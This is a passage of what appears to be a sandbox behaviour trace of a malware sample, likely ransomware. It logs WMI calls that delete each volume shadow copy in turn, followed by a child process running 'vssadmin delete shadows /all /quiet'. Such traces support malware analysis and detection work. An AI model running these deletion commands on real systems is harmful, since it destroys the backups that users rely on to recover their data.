0xffa22ab0 [0072.231] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0072.231] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0072.231] free (_Block=0x38d350) [0072.231] free (_Block=0x38cb40) [0072.232] LocalFree (hMem=0x42cc50) returned 0x0 [0072.232] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{5555A914-627B-4AF5-A342-EC1A6421363A}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0074.211] IUnknown:Release (This=0x2f3d80) returned 0x0 [0074.211] malloc (_Size=0x800) returned 0x38f770 [0074.211] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38f770, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0074.212] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0074.212] malloc (_Size=0x20) returned 0x38ff80 [0074.212] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38ff80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0074.212] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0074.212] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0074.213] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0074.213] free (_Block=0x38ff80) [0074.213] free (_Block=0x38f770) [0074.213] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0074.214] malloc (_Size=0x18) returned 0x38c9f0 [0074.214] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{C7241040-5C13-409D-A239-55D005C03DE9}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0074.214] free (_Block=0x38c9f0) [0074.214] malloc (_Size=0x800) returned 0x38cb40 [0074.214] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0074.214] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0074.214] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{C7241040-5C13-409D-A239-55D005C03DE9}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0074.214] malloc (_Size=0x68) returned 0x38d350 [0074.214] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{C7241040-5C13-409D-A239-55D005C03DE9}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{C7241040-5C13-409D-A239-55D005C03DE9}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0074.214] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0074.214] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0074.215] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0074.215] free (_Block=0x38d350) [0074.215] free (_Block=0x38cb40) [0074.215] LocalFree (hMem=0x42cc50) returned 0x0 [0074.215] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{C7241040-5C13-409D-A239-55D005C03DE9}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0075.270] IUnknown:Release (This=0x2f3d80) returned 0x0 [0075.270] malloc (_Size=0x800) returned 0x38cb40 [0075.270] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0075.270] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0075.270] malloc (_Size=0x20) returned 0x38d350 [0075.270] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0075.270] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0075.270] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0075.271] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0075.271] free (_Block=0x38d350) [0075.271] free (_Block=0x38cb40) [0075.271] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0075.272] malloc (_Size=0x18) returned 0x38c9f0 [0075.272] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0075.272] free (_Block=0x38c9f0) [0075.272] malloc (_Size=0x800) returned 0x38cb40 [0075.272] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0075.272] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0075.272] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0075.272] malloc (_Size=0x68) returned 0x38d350 [0075.272] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0075.272] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0075.272] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0075.273] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0075.273] free (_Block=0x38d350) [0075.273] free (_Block=0x38cb40) [0075.273] LocalFree (hMem=0x42cc50) returned 0x0 [0075.273] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0076.536] IUnknown:Release (This=0x2f3d80) returned 0x0 [0076.536] malloc (_Size=0x800) returned 0x38cb40 [0076.536] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0076.536] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0076.536] malloc (_Size=0x20) returned 0x38d350 [0076.536] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0076.536] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0076.536] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0076.537] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0076.537] free (_Block=0x38d350) [0076.537] free (_Block=0x38cb40) [0076.537] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0076.538] malloc (_Size=0x18) returned 0x38c9f0 [0076.538] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0076.539] free (_Block=0x38c9f0) [0076.539] malloc (_Size=0x800) returned 0x38cb40 [0076.539] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0076.539] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0076.539] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0076.539] malloc (_Size=0x68) returned 0x38d350 [0076.539] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0076.539] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0076.539] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0076.540] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0076.540] free (_Block=0x38d350) [0076.540] free (_Block=0x38cb40) [0076.540] LocalFree (hMem=0x42cc50) returned 0x0 [0076.540] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0077.590] IUnknown:Release (This=0x2f3d80) returned 0x0 [0077.590] malloc (_Size=0x800) returned 0x38cb40 [0077.590] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0077.590] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0077.590] malloc (_Size=0x20) returned 0x38d350 [0077.590] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0077.590] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0077.590] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0077.591] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0077.591] free (_Block=0x38d350) [0077.591] free (_Block=0x38cb40) [0077.591] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0077.592] malloc (_Size=0x18) returned 0x38c9f0 [0077.592] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E369493E-E5B4-449B-8539-770BCA375ABB}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0077.592] free (_Block=0x38c9f0) [0077.592] malloc (_Size=0x800) returned 0x38cb40 [0077.592] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0077.592] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0077.592] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E369493E-E5B4-449B-8539-770BCA375ABB}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0077.592] malloc (_Size=0x68) returned 0x38d350 [0077.592] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E369493E-E5B4-449B-8539-770BCA375ABB}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E369493E-E5B4-449B-8539-770BCA375ABB}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0077.592] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0077.592] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0077.593] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0077.593] free (_Block=0x38d350) [0077.593] free (_Block=0x38cb40) [0077.593] LocalFree (hMem=0x42cc50) returned 0x0 [0077.593] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{E369493E-E5B4-449B-8539-770BCA375ABB}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0077.980] IUnknown:Release (This=0x2f3d80) returned 0x0 [0077.980] malloc (_Size=0x800) returned 0x38cb40 [0077.980] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0077.980] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0077.980] malloc (_Size=0x20) returned 0x38d350 [0077.980] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0077.980] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0077.980] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0077.981] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0077.981] free (_Block=0x38d350) [0077.981] free (_Block=0x38cb40) [0077.981] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x0, puReturned=0x1cf700*=0x0) returned 0x1 [0077.982] IUnknown:Release (This=0x2f3d18) returned 0x0 [0077.983] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0077.983] free (_Block=0x38c930) [0077.983] free (_Block=0x38c8d0) [0077.983] GetCurrentThreadId () returned 0xb4c [0077.983] ??0CHString@@QEAA@PEBG@Z () returned 0x1cf8c8 [0077.983] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x1cf8c8 [0077.983] lstrlenW (lpString="LIST") returned 4 [0077.983] lstrlenW (lpString="delete") returned 6 [0077.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0077.983] lstrlenW (lpString="ASSOC") returned 5 [0077.983] lstrlenW (lpString="delete") returned 6 [0077.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0077.983] lstrlenW (lpString="GET") returned 3 [0077.983] lstrlenW (lpString="delete") returned 6 [0077.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0077.983] ??1CHString@@QEAA@XZ () returned 0x7a919e01 [0077.983] WbemLocator:IUnknown:Release (This=0x2f3c18) returned 0x0 [0078.025] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c [0078.025] _kbhit () returned 0x0 [0078.027] free (_Block=0x38cb20) [0078.027] free (_Block=0x38c7d0) [0078.027] free (_Block=0x38c7b0) [0078.028] free (_Block=0x38c790) [0078.028] free (_Block=0x38c770) [0078.028] free (_Block=0x38ca40) [0078.028] free (_Block=0x38c870) [0078.028] free (_Block=0x3885c0) [0078.028] free (_Block=0x38c8f0) [0078.028] free (_Block=0x38caa0) [0078.028] free (_Block=0x38c890) [0078.028] free (_Block=0x38c910) [0078.028] free (_Block=0x386d90) [0078.028] free (_Block=0x386c70) [0078.028] free (_Block=0x38caf0) [0078.028] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c [0078.028] free (_Block=0x38ca70) [0078.028] free (_Block=0x38c810) [0078.028] free (_Block=0x38c830) [0078.028] free (_Block=0x387ef0) [0078.028] free (_Block=0x387f40) [0078.028] free (_Block=0x3863d0) [0078.028] free (_Block=0x38c7f0) [0078.028] free (_Block=0x386490) [0078.028] free (_Block=0x386c50) [0078.028] free (_Block=0x388040) [0078.028] free (_Block=0x386830) [0078.028] free (_Block=0x388000) [0078.028] free (_Block=0x3867d0) [0078.028] free (_Block=0x3867f0) [0078.028] free (_Block=0x3866b0) [0078.028] free (_Block=0x3866d0) [0078.029] free (_Block=0x386650) [0078.029] free (_Block=0x386670) [0078.029] free (_Block=0x386710) [0078.029] free (_Block=0x386730) [0078.029] free (_Block=0x386770) [0078.029] free (_Block=0x386790) [0078.029] free (_Block=0x386590) [0078.029] free (_Block=0x3865b0) [0078.029] free (_Block=0x386530) [0078.029] free (_Block=0x386550) [0078.029] free (_Block=0x3865f0) [0078.029] free (_Block=0x386610) [0078.029] free (_Block=0x3864d0) [0078.029] free (_Block=0x3864f0) [0078.029] free (_Block=0x386440) [0078.029] free (_Block=0x387f90) [0078.029] free (_Block=0x386d00) [0078.029] WbemLocator:IUnknown:Release (This=0x2e1390) returned 0x2 [0078.029] WbemLocator:IUnknown:Release (This=0x2f3b28) returned 0x0 [0078.033] WbemLocator:IUnknown:Release (This=0x2f3a98) returned 0x0 [0078.033] WbemLocator:IUnknown:Release (This=0x2e1390) returned 0x1 [0078.033] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c [0078.033] WbemLocator:IUnknown:Release (This=0x2e1390) returned 0x0 [0078.033] free (_Block=0x38c6f0) [0078.033] free (_Block=0x38c710) [0078.033] free (_Block=0x388540) [0078.033] free (_Block=0x38c730) [0078.033] free (_Block=0x38c750) [0078.033] free (_Block=0x388580) [0078.034] free (_Block=0x38c570) [0078.034] free (_Block=0x38c590) [0078.034] free (_Block=0x3883c0) [0078.034] free (_Block=0x38c5b0) [0078.034] free (_Block=0x38c5d0) [0078.034] free (_Block=0x388400) [0078.034] free (_Block=0x38c4f0) [0078.034] free (_Block=0x38c510) [0078.034] free (_Block=0x388340) [0078.034] free (_Block=0x38c530) [0078.034] free (_Block=0x38c550) [0078.034] free (_Block=0x388380) [0078.034] free (_Block=0x38c670) [0078.034] free (_Block=0x38c690) [0078.034] free (_Block=0x3884c0) [0078.034] free (_Block=0x38c6b0) [0078.034] free (_Block=0x38c6d0) [0078.034] free (_Block=0x388500) [0078.034] free (_Block=0x38c470) [0078.034] free (_Block=0x38c490) [0078.034] free (_Block=0x3882c0) [0078.034] free (_Block=0x38c4b0) [0078.034] free (_Block=0x38c4d0) [0078.034] free (_Block=0x388300) [0078.034] free (_Block=0x38c5f0) [0078.034] free (_Block=0x38c610) [0078.034] free (_Block=0x388440) [0078.035] free (_Block=0x38c630) [0078.035] free (_Block=0x38c650) [0078.035] free (_Block=0x388480) [0078.035] free (_Block=0x38c3b0) [0078.035] free (_Block=0x38c3d0) [0078.035] free (_Block=0x388200) [0078.035] free (_Block=0x38c270) [0078.035] free (_Block=0x38c290) [0078.035] free (_Block=0x3880c0) [0078.035] free (_Block=0x386cc0) [0078.035] free (_Block=0x386ce0) [0078.035] free (_Block=0x388080) [0078.035] free (_Block=0x38c2f0) [0078.035] free (_Block=0x38c310) [0078.035] free (_Block=0x388140) [0078.035] free (_Block=0x38c3f0) [0078.035] free (_Block=0x38c410) [0078.035] free (_Block=0x388240) [0078.035] free (_Block=0x38c2b0) [0078.035] free (_Block=0x38c2d0) [0078.035] free (_Block=0x388100) [0078.035] free (_Block=0x38c330) [0078.035] free (_Block=0x38c350) [0078.035] free (_Block=0x388180) [0078.035] free (_Block=0x38c370) [0078.035] free (_Block=0x38c390) [0078.035] free (_Block=0x3881c0) [0078.036] free (_Block=0x38c430) [0078.036] free (_Block=0x38c450) [0078.036] free (_Block=0x388280) [0078.036] CoUninitialize () [0078.103] exit (_Code=0) [0078.103] free (_Block=0x386e00) [0078.103] free (_Block=0x387b80) [0078.103] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0078.103] free (_Block=0x386db0) [0078.103] free (_Block=0x3864b0) [0078.103] free (_Block=0x387b40) [0078.103] free (_Block=0x387b00) [0078.103] free (_Block=0x387ab0) [0078.103] free (_Block=0x387a70) [0078.103] free (_Block=0x387a10) [0078.103] free (_Block=0x385a50) [0078.103] free (_Block=0x385a10) [0078.103] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0078.103] free (_Block=0x38c850) Thread: id = 6 os_tid = 0x4f4 Thread: id = 30 os_tid = 0x78c Thread: id = 32 os_tid = 0x868 Thread: id = 33 os_tid = 0x878 Thread: id = 34 os_tid = 0x888 Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3355d000" os_pid = "0xb00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb04" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x688 Thread: id = 5 os_tid = 0xbbc Thread: id = 7 os_tid = 0x67c Thread: id = 8 os_tid = 0x490 Thread: id = 9 os_tid = 0x54c Process: id = "4" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x3333a000" os_pid = "0x664" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00070bd3" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id 